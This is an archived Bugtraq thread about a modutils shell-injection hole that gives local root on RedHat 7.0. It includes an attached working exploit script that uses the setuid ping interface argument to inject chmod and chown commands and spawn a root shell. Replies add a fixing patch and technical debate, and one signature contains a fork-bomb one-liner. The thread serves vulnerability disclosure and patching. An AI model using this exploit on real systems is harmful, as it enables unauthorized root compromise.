5717414 2000-11-12 22:46 +0100  /42 rader/ Michal Zalewski <lcamtuf@TPI.PL>
Importerad: 2000-11-13  07:27  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: lcamtuf@TPI.PL
Mottagare: Bugtraq (import) <13715>
Ärende: RedHat 7.0 (and SuSE): modutils + netkit = root compromise. (fwd)
------------------------------------------------------------

Motto from the modprobe manpage: "BUGS: Naah..."
------------------------------------------------

This vulnerability has been found by Sebastian Krahmer some time ago
(he is posting an advisory right now). Stupid shell command execution
within userspace kernel helper application, modprobe, is something
you do not want to see. But it happened. I have no idea how could it
be introduced in RH 7.0 systems and some other distros (like recent
SuSE), but it was. Ugh.

Well, Sebastian believed this vulnerability is really difficult to
exploit (at least in standard configurations). I had the same feeling
about it.  But, after being asked by Sebastian to do it, I've found
some time and decided to investigate it more carefully. First of all,
I've tried to find any way to exploit it in RH 6.2 environment with
"upgraded" modprobe. No success. Then, I've switched to brand new,
shiny RH 7.0 installation. And voila - nothing easier. Attached
exploit is somewhat hackish - abusing new ping utility in this system
to exploit modprobe vulnerability. As slashes in device name are
rejected by modprobe and environment is not preserved, this exploit
works in really weird way, operating on modprobe's pwd (/), making it
world-writable for a second.

NOTE: if this exploit fails, it does not have to mean your modprobe
is secure; it might mean your system is equipped with, for example,
old /bin/ping utility, instead of new iputils software. You should be
aware that RedHat released some iputils updates, which apparently
seems to "accidentally" fix this particular way to exploit it. But
this utility is only an instrument used to exploit the bug. You can
play with other setuid programs, /bin/ping6, privledged services
etc. Be creative.

Well, two applications were upgraded and shipped in the manner which
opens really huge root compromise possibility. Well done, RedHat :)

Greetings to Sebastian, of course, to Solar Designer, kil3r, Nises,
Scott, Dave, Simple Nomad, Aleph One, #hax and all the people :)

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5717414) --------------------------------(Ombruten)
Kommentar i text 5717415 av Michal Zalewski <lcamtuf@TPI.PL>

5717415 2000-11-12 22:46 +0100  /59 rader/ Michal Zalewski <lcamtuf@TPI.PL>
Bilagans filnamn: "exploit"
Importerad: 2000-11-13  07:27  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: lcamtuf@TPI.PL
Mottagare: Bugtraq (import) <13716>
Bilaga (text/plain) till text 5717414
Ärende: Bilaga (exploit) till: RedHat 7.0 (and SuSE): modutils + netkit = root compromise. (fwd)
------------------------------------------------------------
#!/bin/sh

echo echo "RedHat 7.0 modutils exploit" echo "(c) 2000 Michal
Zalewski <lcamtuf@ids.pl>" echo "Bug discovery: Sebastian Krahmer
<krahmer@cs.uni-potsdam.de>" echo echo "Do not have to work on older
/ non-RH systems. This bug has been" echo "introduced recently. Enjoy
:)" echo echo "This exploit is really hackish, because slashes are
not allowed in" echo "modprobe parameters, thus we have to play in
modprobe's cwd (/)."  echo

PING=/bin/ping6
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper application in /..."

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "Phase 3: chown+chmod on our helper application..."

$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system :("
  exit 1
fi

echo "Voila! Entering rootshell..."

/x

echo "Thank you."
(5717415) --------------------------------(Ombruten)

5720315 2000-11-13 21:40 +1100  /97 rader/ Keith Owens <kaos@OCS.COM.AU>
Importerad: 2000-11-13  17:33  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: kaos@OCS.COM.AU
Mottagare: Bugtraq (import) <13719>
Kommentar till text 5717414 av Michal Zalewski <lcamtuf@TPI.PL>
Ärende: Re: RedHat 7.0 (and SuSE): modutils + netkit = root compromise.
------------------------------------------------------------
 (fwd)
From: Keith Owens <kaos@OCS.COM.AU>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <1841.974112019@ocs3.ocs-net>

On Sun, 12 Nov 2000 22:46:53 +0100,
Michal Zalewski <lcamtuf@TPI.PL> wrote:
>This vulnerability has been found by Sebastian Krahmer some time ago (he
>is posting an advisory right now). Stupid shell command execution within
>userspace kernel helper application, modprobe, is something you do not
>want to see. But it happened. I have no idea how could it be introduced in
>RH 7.0 systems and some other distros (like recent SuSE), but it was. Ugh.

Insert usual complaint about exploit being posted without contacting
maintainer first.

This bug was introduced to modutils in March 12 1999, it does not
affect modutils 2.1.121.  modprobe tries echo as the last ditch file
expansion method, using popen.  There is no good reason to do that.

>NOTE: if this exploit fails, it does not have to mean your modprobe is
>secure; it might mean your system is equipped with, for example, old
>/bin/ping utility, instead of new iputils software. You should be aware
>that RedHat released some iputils updates, which apparently seems to
>"accidentally" fix this particular way to exploit it. But this utility is
>only an instrument used to exploit the bug. You can play with other setuid
>programs, /bin/ping6, privledged services etc. Be creative.

The invoking program does not have to be setuid.  It has to pass its
parameters directly into the kernel, the kernel must be compiled with
kmod and kmod must pass the parameter directly to modprobe.

>Well, two applications were upgraded and shipped in the manner which opens
>really huge root compromise possibility. Well done, RedHat :)

This time you cannot blame on Redhat, the modprobe bug has been there
for quite a while.

Patch against modutils 2.3.19.

Index: 19.7/util/meta_expand.c
--- 19.7/util/meta_expand.c Sun, 10 Sep 2000 12:56:40 +1100 kaos
(modutils-2.3/10_meta_expan 1.4 644)
+++ 19.7(w)/util/meta_expand.c Mon, 13 Nov 2000 21:19:41 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)
@@ -156,12 +156,8 @@ static int glob_it(char *pt, GLOB_LIST *
  */
 int meta_expand(char *pt, GLOB_LIST *g, char *base_dir, char *version)
 {
-	FILE *fin;
-	int len = 0;
-	char *line = NULL;
 	char *p;
 	char tmpline[PATH_MAX + 1];
-	char tmpcmd[PATH_MAX + 11];

 	g->pathc = 0;
 	g->pathv = NULL;
@@ -277,38 +273,6 @@ int meta_expand(char *pt, GLOB_LIST *g,
 		/* Only "=" remaining, should be module options */
 		split_line(g, pt, 0);
 		return 0;
-	}
-
-	/*
-	 * Last resort: Use "echo"
-	 */
-	sprintf(tmpline, "%s%s", (base_dir ? base_dir : ""), pt);
-	sprintf(tmpcmd, "/bin/echo %s", tmpline);
-	if ((fin = popen(tmpcmd, "r")) == NULL) {
-		error("Can't execute: %s", tmpcmd);
-		return -1;
-	}
-	/* else */
-
-	/*
-	 * Collect the result
-	 */
-	while (fgets(tmpcmd, PATH_MAX, fin) != NULL) {
-		int l = strlen(tmpcmd);
-
-		line = (char *)xrealloc(line, len + l + 1);
-		line[len] = '\0';
-		strcat(line + len, tmpcmd);
-		len += l;
-	}
-	pclose(fin);
-
-	if (line) {
-		/* Ignore result if no expansion occurred */
-		strcat(tmpline, "\n");
-		if (strcmp(tmpline, line))
-			split_line(g, line, 0);
-		free(line);
 	}

 	return 0;
(5720315) --------------------------------(Ombruten)

5720512 2000-11-13 13:26 +0100  /49 rader/ Olaf Kirch <okir@CALDERA.DE>
Importerad: 2000-11-13  18:01  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: okir@CALDERA.DE
Mottagare: Bugtraq (import) <13721>
Kommentar till text 5717414 av Michal Zalewski <lcamtuf@TPI.PL>
Ärende: Re: RedHat 7.0 (and SuSE): modutils + netkit = root compromise.
------------------------------------------------------------
 (fwd)
From: Olaf Kirch <okir@CALDERA.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20001113132617.A30505@monad.caldera.de>

On Sun, Nov 12, 2000 at 10:46:53PM +0100, Michal Zalewski wrote:
> This vulnerability has been found by Sebastian Krahmer some time ago (he
> is posting an advisory right now).

This issue has been discussed as far back as 1996 or so on the
linux-security list, when the module requester du jour was called
kerneld.

It should be noted that older Linux distributions using e.g.
modutils-2.1.121 (which I'm looking at) should be safe: before
modprobe will do _anything_ it checks the name of the requested
module against /lib/modules/modules.dep and fails if the module's
not listed. Getting "; chmod +w ." listed as a module should be
sort of tricky.

Of course, this still allowed you to load load e.g. the ISO9660 file
system driver doing "ifconfig iso9660" as an ordinary user.  But there
was some sort of consensus that this shouldn't be considered a problem
(if a module turns out to be buggy, remove it). One of those issues
that can be argued to death...

My main concern back then has been that all the protection against "bad"
module names was in modprobe, and all it took to turn this into a serious
hole was for someone to mess up modprobe (which they did now, apparently).

> only an instrument used to exploit the bug. You can play with other setuid
> programs, /bin/ping6, privledged services etc. Be creative.

Right. It should be noted that fixing the setuid case is probably not
enough because you may have privileged services do things that
ultimately trigger a kmod call.

A good fix IMHO (suggested by Torsten Duwe) is to make the _kernel_
check the requested module to make sure that the name consists of
alphanumerics, dash and underscore exclusively. Oh yeah, and stop
using system/popen in system applications. What does it take to drive
this point home?

Olaf
--
Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.de    +-------------------- Why Not?! -----------------------
         UNIX, n.: Spanish manufacturer of fire extinguishers.
(5720512) --------------------------------(Ombruten)

5722145 2000-11-13 18:23 +0100  /22 rader/ Wichert Akkerman <wichert@CISTRON.NL>
Importerad: 2000-11-13  23:35  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: wichert@CISTRON.NL
Mottagare: Bugtraq (import) <13732>
Kommentar till text 5720315 av Keith Owens <kaos@OCS.COM.AU>
Ärende: Re: RedHat 7.0 (and SuSE): modutils + netkit = root compromise.
------------------------------------------------------------
 (fwd)
From: Wichert Akkerman <wichert@CISTRON.NL>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20001113182350.A27244@cs.leidenuniv.nl>

Previously Keith Owens wrote:
> This bug was introduced to modutils in March 12 1999, it does not
> affect modutils 2.1.121.  modprobe tries echo as the last ditch file
> expansion method, using popen.  There is no good reason to do that.

It also does not affect version 2.3.11, which also mean that Debian
potato is not vulnerable.

Wichert.

--
  _________________________________________________________________
 / Generally uninteresting signature - ignore at your convenience  \
| wichert@liacs.nl                    http://www.liacs.nl/~wichert/ |
| 1024D/2FA3BC2D 576E 100B 518D 2F16 36B0  2805 3CB8 9250 2FA3 BC2D |
(5722145) ------------------------------------------

5722273 2000-11-13 21:01 +0000  /34 rader/ Chris Evans <chris@SCARY.BEASTS.ORG>
Importerad: 2000-11-14  00:34  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: chris@SCARY.BEASTS.ORG
Mottagare: Bugtraq (import) <13737>
Ärende: More modutils: It's probably worse.
------------------------------------------------------------
From: Chris Evans <chris@SCARY.BEASTS.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.21.0011132040160.1699-100000@ferret.lmh.ox.ac.uk>

Hi,

I think this problem is worse than originally thought. As noted by
Olaf:

---
It should be noted that older Linux distributions using e.g.
modutils-2.1.121 (which I'm looking at) should be safe: before
modprobe will do _anything_ it checks the name of the requested
module against /lib/modules/modules.dep and fails if the module's
not listed. Getting "; chmod +w ." listed as a module should be
sort of tricky.
---

Unfortunately, we can subvert modutils _before_ any validation of
module name gets run. If we make the first character of our proposed
module a '-', then it will be just like we passed an option to
modprobe.

modprobe -C, to specify a config file other than /etc/modules.conf,
would be an interesting route to play with.

Oh dear. Looks like a kernel issue as well as a modutils issue. Also
looks like more distributions could be affected.

I'd normally hold off posting something like this, but I guarantee
black hats have already figured this out.

Cheers
Chris
(5722273) --------------------------------(Ombruten)
Kommentar i text 5722359 av Michal Zalewski <lcamtuf@DIONE.IDS.PL>

5722359 2000-11-14 00:06 +0100  /33 rader/ Michal Zalewski <lcamtuf@DIONE.IDS.PL>
Importerad: 2000-11-14  02:05  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: lcamtuf@DIONE.IDS.PL
Mottagare: Bugtraq (import) <13739>
Kommentar till text 5722273 av Chris Evans <chris@SCARY.BEASTS.ORG>
Ärende: Re: More modutils: It's probably worse.
------------------------------------------------------------
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.21.0011132352550.31869-100000@dione.ids.pl>

On Mon, 13 Nov 2000, Chris Evans wrote:

> modprobe -C, to specify a config file other than /etc/modules.conf,
> would be an interesting route to play with.

You are wrong - modprobe WON'T parse eg. argv[n]="-r blahblah" or
argv[n]="-rblahblah" - every switch that requires additional
parameters has to be split into two argv[] entries (argv[n]="-r",
argv[n+1]="blahblah"). It is not possible to split anything into two
or more separate argv entries using request_module() call - where
/sbin/modprobe is called with user-supplied module name as
argv[3]. The same applies to module parameter parsing (so 'mymodule
someparam=xxx' won't work as well), etc. And, finally, at least my
modprobe from modutils 2.1.121, have no -C switch.

Another thing I don't get regarding all the feedback -
request_module() contains pretty strict checks, and couldn't be
called without root privledges or specific capabilities. And the only
one location where it seems to be called with user-supplied module
name is the networking code.  Maybe I am missing something, but at
least for me, modprobe vulnerabilities are exploitable via privledged
networking services, nothing more.

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5722359) --------------------------------(Ombruten)

5731423 2000-11-13 12:44 +0100  /37 rader/ Michal Zalewski <lcamtuf@DIONE.IDS.PL>
Importerad: 2000-11-15  20:14  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: lcamtuf@DIONE.IDS.PL
Mottagare: Bugtraq (import) <13756>
Kommentar till text 5720315 av Keith Owens <kaos@OCS.COM.AU>
Ärende: Re: RedHat 7.0 (and SuSE): modutils + netkit = root compromise.
------------------------------------------------------------
 (fwd)
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.21.0011131239310.31869-100000@dione.ids.pl>

On Mon, 13 Nov 2000, Keith Owens wrote:

> The invoking program does not have to be setuid.  It has to pass its
> parameters directly into the kernel, the kernel must be compiled with
> kmod and kmod must pass the parameter directly to modprobe.

net/core/dev.c, line 348:

#ifdef CONFIG_KMOD

void dev_load(const char *name)
{
        if(!dev_get(name) && capable(CAP_SYS_MODULE))
                request_module(name);
}

/* ...snip... */

It has to run on privledged level (or have CAP_SYS_MODULE).

> This time you cannot blame on Redhat, the modprobe bug has been there
> for quite a while.

RedHat (and some other vendors) have not audited recently introduced
code. That's all I can say. Of course it's modutils bug.

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5731423) ------------------------------------------